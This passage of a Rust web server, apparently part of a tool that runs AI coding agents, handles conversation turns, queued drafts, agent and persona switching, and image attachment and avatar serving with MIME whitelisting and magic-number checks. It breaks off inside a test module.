7060/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7061/// releasing `turn` only once a check finds it truly empty. Shared by both
7062/// callers that can end up owning a talk's turn slot with something already
7063/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
7064/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7065/// holder just gave up - see the comment at that call site.
7066///
7067/// The release is folded into the final generation check under `turn`'s own
7068/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7069/// free". Before its blocking `talk::drain`, this loop observes the queued
7070/// generation. A `say` that sees the turn busy writes its draft, then advances
7071/// that generation. Thus, if it lands while the drain is in flight, the final
7072/// check observes the advance and drains again; otherwise it releases the
7073/// claim while holding the same lock. This keeps the release/arrival handoff
7074/// atomic without holding the global claim mutex across filesystem I/O.
7075async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7076    drain_loop_started(talk, talks, cfg, id, turn, None).await;
7077}
7078
7079/// A settings response must not report idle while its claim is still held.
7080/// Wait until the first drain either releases the claim or promotes a draft.
7081/// The task owns the guard even if the HTTP handler is cancelled while waiting.
7082async fn settle_settings_turn(
7083    talk: Talk,
7084    talks: Talks,
7085    cfg: Config,
7086    id: String,
7087    turn: TalkTurnGuard,
7088    observed: u64,
7089) -> bool {
7090    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7091        let turns = Arc::clone(&turn.turns);
7092        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7093        if live.queued.get(&id).copied().unwrap_or(0) == observed {
7094            // Release under the arrival lock; a later `/say` takes its own claim.
7095            turn.release(&mut live);
7096            return false;
7097        }
7098    }
7099    let (started, settled) = tokio::sync::oneshot::channel();
7100    tokio::spawn(drain_loop_started(
7101        talk,
7102        talks,
7103        cfg,
7104        id,
7105        turn,
7106        Some(started),
7107    ));
7108    settled.await.unwrap_or(false)
7109}
7110
7111async fn drain_loop_started(
7112    mut talk: Talk,
7113    talks: Talks,
7114    cfg: Config,
7115    id: String,
7116    turn: TalkTurnGuard,
7117    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7118) {
7119    let live_set = Arc::clone(&turn.turns);
7120    // `Option` rather than binding `turn` directly to a `_turn` that lives
7121    // for the whole function: releasing it has to happen by calling
7122    // `TalkTurnGuard::release` from inside the locked branch below, which
7123    // takes `self` by value. Left as a plain drop instead, `Drop` would still
7124    // remove the id - correctly, if this loop is ever left some other way -
7125    // but doing it there misses the lock this loop is already holding, which
7126    // is the exact gap `release` exists to close.
7127    let mut turn = Some(turn);
7128    loop {
7129        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7130            // The lease was taken over while a turn ran. Whatever is queued
7131            // stays a draft; running it here would race the new owner.
7132            tracing::warn!("talk {id} lost its turn lease; not draining further");
7133            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7134            if let Some(turn) = turn.take() {
7135                turn.release(&mut live);
7136            }
7137            break;
7138        }
7139        {
7140            // A parking upgrade starts no further turn: whatever is queued
7141            // stays a durable draft for the successor.
7142            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7143            if live.parking {
7144                if let Some(turn) = turn.take() {
7145                    turn.release(&mut live);
7146                }
7147                break;
7148            }
7149        }
7150        // `talk::drain` takes the store lock and can write/rename the talk
7151        // file. Keep the turn mutex out of that synchronous work: it protects
7152        // every talk's in-memory claim, not this talk's disk operation.
7153        let observed = live_set
7154            .lock()
7155            .unwrap_or_else(PoisonError::into_inner)
7156            .queued
7157            .get(&id)
7158            .copied()
7159            .unwrap_or(0);
7160        let drained = blocking({
7161            let talks = talks.clone();
7162            let live_set = Arc::clone(&live_set);
7163            move || {
7164                // Promoting a draft is what starts a turn, so it is decided
7165                // under the same lock a parking upgrade takes: either the
7166                // promotion lands first (and its turn is waited for) or the
7167                // draft stays queued.
7168                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7169                let result = if live.parking {
7170                    Ok(None)
7171                } else {
7172                    talk::drain(&mut talk, &talks)
7173                };
7174                drop(live);
7175                Ok((talk, result))
7176            }
7177        })
7178        .await;
7179        let (next_talk, result) = match drained {
7180            Ok(drained) => drained,
7181            Err(e) => {
7182                tracing::warn!(
7183                    status = %e.status,
7184                    message = %e.message,
7185                    "talk {id} could not start queued-text drain"
7186                );
7187                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7188                turn.take()
7189                    .expect("held for the whole loop until released here")
7190                    .release(&mut live);
7191                break;
7192            }
7193        };
7194        talk = next_talk;
7195        let drained = match result {
7196            Ok(Some(drained)) => drained,
7197            Ok(None) => {
7198                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7199                if live.queued.get(&id).copied().unwrap_or(0) != observed {
7200                    continue;
7201                }
7202                turn.take()
7203                    .expect("held for the whole loop until released here")
7204                    .release(&mut live);
7205                break;
7206            }
7207            Err(e) => {
7208                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7209                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7210                turn.take()
7211                    .expect("held for the whole loop until released here")
7212                    .release(&mut live);
7213                break;
7214            }
7215        };
7216        if let Some(started) = started.take() {
7217            let _ = started.send(true);
7218        }
7219        let responded = match turn.as_ref() {
7220            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7221            None => Err(anyhow::anyhow!("the turn guard was released")),
7222        };
7223        if let Err(e) = responded {
7224            tracing::warn!("talk {id} turn failed: {e:#}");
7225        }
7226    }
7227    drop(turn);
7228    if let Some(started) = started {
7229        let _ = started.send(false);
7230    }
7231}
7232
7233/// Clear a queued draft only if it remains exactly the one the caller saw.
7234async fn talk_pending_clear(
7235    State(ui): State<Arc<Ui>>,
7236    Path(id): Path<String>,
7237    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7238) -> ApiResult<Json<TalkView>> {
7239    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7240    blocking(move || {
7241        let id = resolve_talk(&ui.talks, &id)?;
7242        let mut talk = ui.talks.get(&id)?;
7243        if !talk.status.open() {
7244            return Err(ApiError::conflict(format!(
7245                "talk {} is {} and takes no more turns",
7246                talk.short(),
7247                talk.status.as_str()
7248            )));
7249        }
7250        if !talk::clear_pending_if_matches(
7251            &mut talk,
7252            &ui.talks,
7253            &body.expected_text,
7254            &body.expected_attachments,
7255        )? {
7256            return Err(ApiError::conflict(
7257                "queued message changed; reload it before clearing",
7258            ));
7259        }
7260        let thinking = ui.is_thinking(&talk.id);
7261        Ok(Json(TalkView::new(talk, thinking)))
7262    })
7263    .await
7264}
7265
7266/// Atomically edit a queued draft's text while preserving its attachments.
7267/// The snapshot fields make a concurrent queue or drain a conflict rather
7268/// than silently discarding either message.
7269async fn talk_pending_edit(
7270    State(ui): State<Arc<Ui>>,
7271    Path(id): Path<String>,
7272    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7273) -> ApiResult<Json<TalkView>> {
7274    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7275    let (view, reclaimed) = blocking({
7276        let ui = Arc::clone(&ui);
7277        move || {
7278            let id = resolve_talk(&ui.talks, &id)?;
7279            let mut talk = ui.talks.get(&id)?;
7280            if !talk.status.open() {
7281                return Err(ApiError::conflict(format!(
7282                    "talk {} is {} and takes no more turns",
7283                    talk.short(),
7284                    talk.status.as_str()
7285                )));
7286            }
7287            if !talk::edit_pending_text(
7288                &mut talk,
7289                &ui.talks,
7290                &body.text,
7291                &body.expected_text,
7292                &body.expected_attachments,
7293            )? {
7294                return Err(ApiError::conflict(
7295                    "queued message changed; reload it before editing",
7296                ));
7297            }
7298            let claim = match ui.begin_queued_talk_turn(&id)? {
7299                Some(turn_guard) => {
7300                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7301                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7302                }
7303                None => None,
7304            };
7305            let thinking = ui.is_thinking(&id);
7306            Ok((TalkView::new(talk, thinking), claim))
7307        }
7308    })
7309    .await?;
7310    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7311        let talks = ui.talks.clone();
7312        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7313    }
7314    Ok(Json(view))
7315}
7316
7317/// The 409 for a talk that takes no more turns.
7318fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7319    if talk.status.open() {
7320        return Ok(());
7321    }
7322    Err(ApiError::conflict(format!(
7323        "talk {} is {} and takes no more turns",
7324        talk.short(),
7325        talk.status.as_str()
7326    )))
7327}
7328
7329/// The body of `POST /api/talks/{id}/agent`.
7330#[derive(Debug, Deserialize)]
7331struct TalkAgent {
7332    agent: String,
7333}
7334
7335/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7336/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7337/// start a turn on the old session between the check and the write; one that
7338/// arrives in that window finds the talk busy and becomes a draft.
7339async fn talk_agent(
7340    State(ui): State<Arc<Ui>>,
7341    Path(id): Path<String>,
7342    Json(body): Json<TalkAgent>,
7343) -> ApiResult<Json<TalkView>> {
7344    let id = {
7345        let ui = Arc::clone(&ui);
7346        blocking(move || resolve_talk(&ui.talks, &id)).await?
7347    };
7348    let repo = {
7349        let ui = Arc::clone(&ui);
7350        let id = id.clone();
7351        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7352    };
7353    let cfg = config_for(&repo).await?;
7354    // Refuse before taking the claim; see `talk_implementers`.
7355    {
7356        let ui = Arc::clone(&ui);
7357        let id = id.clone();
7358        let cfg = cfg.clone();
7359        let wanted = body.agent.clone();
7360        blocking(move || {
7361            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7362                .map_err(ApiError::bad_request_from)?;
7363            refuse_if_closed(&ui.talks.get(&id)?)
7364        })
7365        .await?;
7366    }
7367    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7368        return Err(ApiError::conflict(
7369            "a talk turn is running; change the agent once it has answered",
7370        ));
7371    };
7372    let switched = {
7373        let ui = Arc::clone(&ui);
7374        let id = id.clone();
7375        let cfg = cfg.clone();
7376        blocking(move || {
7377            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7378                .map_err(ApiError::bad_request_from)?;
7379            let mut talk = ui.talks.get(&id)?;
7380            if !talk.status.open() {
7381                return Err(ApiError::conflict(format!(
7382                    "talk {} is {} and takes no more turns",
7383                    talk.short(),
7384                    talk.status.as_str()
7385                )));
7386            }
7387            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7388            Ok(talk)
7389        })
7390        .await
7391    };
7392    // A `/say` that landed while this held the claim saw the talk busy and
7393    // left a durable draft, trusting the claim's owner to drain it. So the
7394    // claim is settled whatever the outcome. Release an empty draft's claim
7395    // before replying; queued drafts continue independently of the handler.
7396    let observed = ui.queued_generation(&id);
7397    let fresh = {
7398        let ui = Arc::clone(&ui);
7399        let id = id.clone();
7400        blocking(move || Ok(ui.talks.get(&id)?)).await
7401    };
7402    let draining = match fresh {
7403        Ok(talk) => {
7404            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7405        }
7406        Err(_) => false,
7407    };
7408    let talk = switched?;
7409    Ok(Json(TalkView::new(talk, draining)))
7410}
7411
7412/// The body of `POST /api/talks/{id}/persona`.
7413#[derive(Debug, Deserialize)]
7414struct TalkPersona {
7415    persona: String,
7416}
7417
7418/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7419/// like [`talk_agent`]: the turn guard is held for the change and always handed
7420/// to `drain_loop`, so a draft left meanwhile is not stranded.
7421async fn talk_persona(
7422    State(ui): State<Arc<Ui>>,
7423    Path(id): Path<String>,
7424    Json(body): Json<TalkPersona>,
7425) -> ApiResult<Json<TalkView>> {
7426    let id = {
7427        let ui = Arc::clone(&ui);
7428        blocking(move || resolve_talk(&ui.talks, &id)).await?
7429    };
7430    let repo = {
7431        let ui = Arc::clone(&ui);
7432        let id = id.clone();
7433        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7434    };
7435    let cfg = config_for(&repo).await?;
7436    // Refuse before taking the claim; see `talk_implementers`.
7437    {
7438        let ui = Arc::clone(&ui);
7439        let id = id.clone();
7440        let cfg = cfg.clone();
7441        let wanted = body.persona.clone();
7442        blocking(move || {
7443            if persona::find(&cfg.talk.personas, &wanted).is_none() {
7444                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7445            }
7446            refuse_if_closed(&ui.talks.get(&id)?)
7447        })
7448        .await?;
7449    }
7450    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7451        return Err(ApiError::conflict(
7452            "a talk turn is running; change the persona once it has answered",
7453        ));
7454    };
7455    let switched = {
7456        let ui = Arc::clone(&ui);
7457        let id = id.clone();
7458        let cfg = cfg.clone();
7459        blocking(move || {
7460            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7461                return Err(ApiError::bad_request(format!(
7462                    "unknown persona `{}`",
7463                    body.persona
7464                )));
7465            };
7466            let mut talk = ui.talks.get(&id)?;
7467            if !talk.status.open() {
7468                return Err(ApiError::conflict(format!(
7469                    "talk {} is {} and takes no more turns",
7470                    talk.short(),
7471                    talk.status.as_str()
7472                )));
7473            }
7474            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7475            Ok(talk)
7476        })
7477        .await
7478    };
7479    // As in `talk_agent`: settle the claim before replying, even on refusal.
7480    let observed = ui.queued_generation(&id);
7481    let fresh = {
7482        let ui = Arc::clone(&ui);
7483        let id = id.clone();
7484        blocking(move || Ok(ui.talks.get(&id)?)).await
7485    };
7486    let draining = match fresh {
7487        Ok(talk) => {
7488            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7489        }
7490        Err(_) => false,
7491    };
7492    let talk = switched?;
7493    Ok(Json(TalkView::new(talk, draining)))
7494}
7495
7496/// The body of `POST /api/talks/{id}/implementers`.
7497#[derive(Debug, Deserialize)]
7498struct TalkImplementers {
7499    implementers: u8,
7500}
7501
7502/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7503/// like [`talk_agent`]: the turn guard is held for the change and always handed
7504/// to `drain_loop`, so a draft left meanwhile is not stranded.
7505async fn talk_implementers(
7506    State(ui): State<Arc<Ui>>,
7507    Path(id): Path<String>,
7508    Json(body): Json<TalkImplementers>,
7509) -> ApiResult<Json<TalkView>> {
7510    let id = {
7511        let ui = Arc::clone(&ui);
7512        blocking(move || resolve_talk(&ui.talks, &id)).await?
7513    };
7514    let repo = {
7515        let ui = Arc::clone(&ui);
7516        let id = id.clone();
7517        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7518    };
7519    let cfg = config_for(&repo).await?;
7520    // Refuse a request that cannot succeed before taking the claim: a claim
7521    // taken for it is handed to `drain_loop`, which holds the talk busy for a
7522    // moment, so a refusal would make the next request see "busy" instead of
7523    // its own answer. The checks after the claim stay the ones that decide.
7524    {
7525        let ui = Arc::clone(&ui);
7526        let id = id.clone();
7527        let cfg = cfg.clone();
7528        let wanted = body.implementers;
7529        blocking(move || {
7530            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7531            refuse_if_closed(&ui.talks.get(&id)?)
7532        })
7533        .await?;
7534    }
7535    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7536        return Err(ApiError::conflict(
7537            "a talk turn is running; change the implementers once it has answered",
7538        ));
7539    };
7540    let switched = {
7541        let ui = Arc::clone(&ui);
7542        let id = id.clone();
7543        let cfg = cfg.clone();
7544        blocking(move || {
7545            let chosen =
7546                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7547            let mut talk = ui.talks.get(&id)?;
7548            if !talk.status.open() {
7549                return Err(ApiError::conflict(format!(
7550                    "talk {} is {} and takes no more turns",
7551                    talk.short(),
7552                    talk.status.as_str()
7553                )));
7554            }
7555            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7556            Ok(talk)
7557        })
7558        .await
7559    };
7560    // As in `talk_agent`: settle the claim before replying, even on refusal.
7561    let observed = ui.queued_generation(&id);
7562    let fresh = {
7563        let ui = Arc::clone(&ui);
7564        let id = id.clone();
7565        blocking(move || Ok(ui.talks.get(&id)?)).await
7566    };
7567    let draining = match fresh {
7568        Ok(talk) => {
7569            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7570        }
7571        Err(_) => false,
7572    };
7573    let talk = switched?;
7574    Ok(Json(TalkView::new(talk, draining)))
7575}
7576
7577/// `POST /api/talks/{id}/close`.
7578async fn talk_close(
7579    State(ui): State<Arc<Ui>>,
7580    Path(id): Path<String>,
7581) -> ApiResult<Json<TalkView>> {
7582    blocking(move || {
7583        let id = resolve_talk(&ui.talks, &id)?;
7584        let mut talk = ui.talks.get(&id)?;
7585        talk::close(&mut talk, &ui.talks)?;
7586        let thinking = ui.is_thinking(&talk.id);
7587        Ok(Json(TalkView::new(talk, thinking)))
7588    })
7589    .await
7590}
7591
7592/// `POST /api/talks/{id}/reopen`.
7593async fn talk_reopen(
7594    State(ui): State<Arc<Ui>>,
7595    Path(id): Path<String>,
7596) -> ApiResult<Json<TalkView>> {
7597    blocking(move || {
7598        let id = resolve_talk(&ui.talks, &id)?;
7599        let mut talk = ui.talks.get(&id)?;
7600        talk::reopen(&mut talk, &ui.talks)?;
7601        let thinking = ui.is_thinking(&talk.id);
7602        Ok(Json(TalkView::new(talk, thinking)))
7603    })
7604    .await
7605}
7606
7607/// `DELETE /api/talks/{id}`.
7608///
7609/// Removes the conversation's record and artifacts outright, unlike
7610/// [`talk_close`] which keeps the record as history. A turn already in
7611/// flight is not refused here the way [`run_delete`] refuses a live run:
7612/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7613/// under [`Talks::guard`], that the record they are about to write back is
7614/// still there, so a delete racing a turn is safe without this route having
7615/// to know a turn is running at all.
7616async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7617    blocking(move || {
7618        let id = resolve_talk(&ui.talks, &id)?;
7619        ui.talks.remove(&id)?;
7620        Ok(StatusCode::NO_CONTENT)
7621    })
7622    .await
7623}
7624
7625/// Expand an id or short id to exactly one talk id.
7626fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7627    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7628}
7629
7630/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7631/// future `talk-say`.
7632async fn talk_attachment_post(
7633    State(ui): State<Arc<Ui>>,
7634    Path(id): Path<String>,
7635    headers: HeaderMap,
7636    body: Bytes,
7637) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7638    let mime = validate_attachment(&headers, &body)?;
7639    let name = filename_header(&headers);
7640    let data = body.to_vec();
7641    blocking(move || {
7642        let id = resolve_talk(&ui.talks, &id)?;
7643        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7644        Ok((StatusCode::CREATED, Json(att)))
7645    })
7646    .await
7647}
7648
7649/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7650/// `<img>` tag in the transcript.
7651async fn talk_attachment_get(
7652    State(ui): State<Arc<Ui>>,
7653    Path((id, att)): Path<(String, String)>,
7654) -> ApiResult<Response> {
7655    blocking(move || {
7656        let id = resolve_talk(&ui.talks, &id)?;
7657        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7658            return Err(ApiError::not_found(format!(
7659                "talk {id} has no attachment `{att}`"
7660            )));
7661        };
7662        Ok(attachment_response(&meta.mime, data))
7663    })
7664    .await
7665}
7666
7667/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
7668/// the icon setting, so changing it changes the URL.
7669fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7670    let mut id = String::new();
7671    for b in p.id.bytes() {
7672        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7673            id.push(char::from(b));
7674        } else {
7675            id.push_str(&format!("%{b:02X}"));
7676        }
7677    }
7678    format!(
7679        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7680        persona_icon::fingerprint(p.icon.as_deref())
7681    )
7682}
7683
7684#[derive(Debug, Default, Deserialize)]
7685struct AvatarQuery {
7686    persona: Option<String>,
7687    /// Set by the page after the first load failed: skip the `icon`.
7688    builtin: Option<String>,
7689}
7690
7691/// Served with every built-in avatar: it is an image, so nothing else may run.
7692const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7693
7694fn builtin_avatar(id: &str) -> Response {
7695    (
7696        [
7697            (header::CONTENT_TYPE, "image/svg+xml"),
7698            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7699            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7700            (header::CACHE_CONTROL, "no-cache"),
7701        ],
7702        persona_icon::builtin_svg(id),
7703    )
7704        .into_response()
7705}
7706
7707/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
7708/// operator's raster `icon` when it resolves and its bytes agree with its
7709/// type, the built-in SVG otherwise. Display only; every failure is a warning
7710/// and the built-in avatar, never an error response.
7711async fn talk_avatar(
7712    State(ui): State<Arc<Ui>>,
7713    Path(id): Path<String>,
7714    Query(q): Query<AvatarQuery>,
7715) -> ApiResult<Response> {
7716    blocking(move || {
7717        let id = resolve_talk(&ui.talks, &id)?;
7718        let talk = ui.talks.get(&id)?;
7719        let wanted = q
7720            .persona
7721            .as_deref()
7722            .map(str::trim)
7723            .filter(|p| !p.is_empty())
7724            .unwrap_or(&talk.persona)
7725            .to_owned();
7726        let specs = match Config::discover(&talk.repo, None) {
7727            Ok((cfg, _)) => cfg.talk.personas,
7728            Err(e) => {
7729                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7730                Vec::new()
7731            }
7732        };
7733        let Some(found) = persona::find(&specs, &wanted) else {
7734            return Ok(builtin_avatar(persona::DEFAULT_ID));
7735        };
7736        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7737            return Ok(builtin_avatar(&found.id));
7738        };
7739        match persona_icon::load(icon) {
7740            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7741                let mut res = attachment_response(mime, bytes);
7742                res.headers_mut().insert(
7743                    header::CACHE_CONTROL,
7744                    header::HeaderValue::from_static("no-cache"),
7745                );
7746                Ok(res)
7747            }
7748            Ok((mime, _)) => {
7749                tracing::warn!(
7750                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7751                    found.id
7752                );
7753                Ok(builtin_avatar(&found.id))
7754            }
7755            Err(e) => {
7756                tracing::warn!(
7757                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7758                    found.id
7759                );
7760                Ok(builtin_avatar(&found.id))
7761            }
7762        }
7763    })
7764    .await
7765}
7766
7767/// Validate an attachment upload's declared `Content-Type` and the bytes
7768/// themselves, returning the canonical mime on success.
7769///
7770/// Two checks, both required: the header has to name one of
7771/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7772/// simply never in the list, active content rather than a picture, the same
7773/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7774/// magic number has to agree. The second is what stops a mislabeled upload -
7775/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7776/// a declared type is a claim, not a fact, so it is never trusted alone.
7777fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7778    if data.len() > ATTACHMENT_MAX_BYTES {
7779        return Err(ApiError::bad_request(format!(
7780            "attachment is {} bytes, over the {} MiB limit",
7781            data.len(),
7782            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7783        ))
7784        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7785    }
7786    if data.is_empty() {
7787        return Err(ApiError::bad_request("attachment is empty"));
7788    }
7789    let declared = declared_mime(headers)?;
7790    match sniffed_mime(data) {
7791        Some(sniffed) if sniffed == declared => Ok(declared),
7792        Some(sniffed) => Err(ApiError::bad_request(format!(
7793            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7794        ))),
7795        None => Err(ApiError::bad_request(
7796            "the file's bytes do not match any accepted image format",
7797        )),
7798    }
7799}
7800
7801/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7802/// and nothing else - parameters like `; charset=` are stripped, but the
7803/// value itself is not otherwise interpreted.
7804fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7805    let raw = headers
7806        .get(header::CONTENT_TYPE)
7807        .and_then(|v| v.to_str().ok())
7808        .unwrap_or("")
7809        .split(';')
7810        .next()
7811        .unwrap_or("")
7812        .trim()
7813        .to_ascii_lowercase();
7814    ATTACHMENT_MIME_WHITELIST
7815        .iter()
7816        .find(|&&m| m == raw)
7817        .copied()
7818        .ok_or_else(|| {
7819            if raw == "image/svg+xml" {
7820                ApiError::bad_request(
7821                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7822                     not just a picture",
7823                )
7824            } else if raw.is_empty() {
7825                ApiError::bad_request("Content-Type is required for an attachment upload")
7826            } else {
7827                ApiError::bad_request(format!(
7828                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7829                     image/gif or image/webp"
7830                ))
7831            }
7832        })
7833}
7834
7835/// Identify an image by its magic number, independent of whatever
7836/// `Content-Type` claimed.
7837fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7838    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7839        Some("image/png")
7840    } else if data.starts_with(b"\xff\xd8\xff") {
7841        Some("image/jpeg")
7842    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7843        Some("image/gif")
7844    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7845        Some("image/webp")
7846    } else {
7847        None
7848    }
7849}
7850
7851/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7852/// display - see [`talk::Attachment::name`]'s doc on why it never
7853/// contributes to a path. A missing or blank header (curl without it, an
7854/// older front end) falls back to a generic name rather than refusing the
7855/// upload over a field that is cosmetic.
7856fn filename_header(headers: &HeaderMap) -> String {
7857    headers
7858        .get(FILENAME_HEADER)
7859        .and_then(|v| v.to_str().ok())
7860        .map(str::trim)
7861        .filter(|s| !s.is_empty())
7862        .unwrap_or("attachment")
7863        .to_owned()
7864}
7865
7866/// Every attachment `GET` response: the mime re-validated against the same
7867/// closed whitelist the upload route enforces - never the string trusted
7868/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7869/// cannot decide it knows better than the type we send. Unlike a panel asset
7870/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7871/// document renders inline, not agent-authored HTML in a sandboxed frame.
7872fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7873    let content_type = ATTACHMENT_MIME_WHITELIST
7874        .iter()
7875        .find(|&&m| m == mime)
7876        .copied()
7877        .unwrap_or("application/octet-stream");
7878    (
7879        [
7880            (header::CONTENT_TYPE, content_type),
7881            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7882        ],
7883        body,
7884    )
7885        .into_response()
7886}
7887
7888/// The configuration for a repository, read off the disk for this request.
7889///
7890/// Through [`blocking`] because discovery reads and merges several TOML files,
7891/// and because the alternative - caching it in [`Ui`] at startup - would mean
7892/// the operator's phone kept interviewing with a roster they had already
7893/// changed, with no way to reload it but restarting the server they are not
7894/// sitting in front of.
7895async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7896    let repo = repo.to_path_buf();
7897    blocking(move || {
7898        let (cfg, _) = Config::discover(&repo, None)?;
7899        Ok(cfg)
7900    })
7901    .await
7902}
7903
7904/// The one prefix rule, used for both runs and tasks: a leading match for a
7905/// full id, a trailing match for the short form an operator reads off a
7906/// report. Written here rather than borrowed from `queue::resolve_id` because
7907/// the UI needs the two failures as different status codes, and telling them
7908/// apart from an error message is not something to build a route on.
7909fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7910    let mut hits = ids
7911        .into_iter()
7912        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7913    match (hits.next(), hits.next()) {
7914        (Some(one), None) => Ok(one),
7915        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7916        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7917            "`{prefix}` matches more than one {what}, including {a} and {b}"
7918        ))),
7919    }
7920}
7921
7922#[cfg(test)]
7923mod tests {
7924
7925    #[test]
7926    fn holder_reads_the_lease_not_the_record() {
7927        let mut q = Question::new(
7928            "run".to_owned(),
7929            "implement".to_owned(),
7930            "impl-A".to_owned(),
7931            "which?".to_owned(),
7932            String::new(),
7933            Vec::new(),
7934        );
7935        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7936        q.cwd = Some("/tmp".to_owned());
7937        assert_eq!(holder_of(&q, None), Some("nobody"));
7938        let beat = |kind, ago: i64| ask::Lease {
7939            kind,
7940            pid: 1,
7941            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7942                .unwrap(),
7943        };
7944        let fresh = beat(ask::WaiterKind::Asker, 1);
7945        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7946        let daemon = beat(ask::WaiterKind::Daemon, 1);
7947        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7948        let stale = beat(ask::WaiterKind::Asker, 3600);
7949        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7950
7951        // A conductor question says "deputy" only while one is attached and
7952        // alive, and "nobody" - never silence - when nothing ever listened.
7953        let mut c = Question::new(
7954            "task".to_owned(),
7955            crate::conduct::NODE.to_owned(),
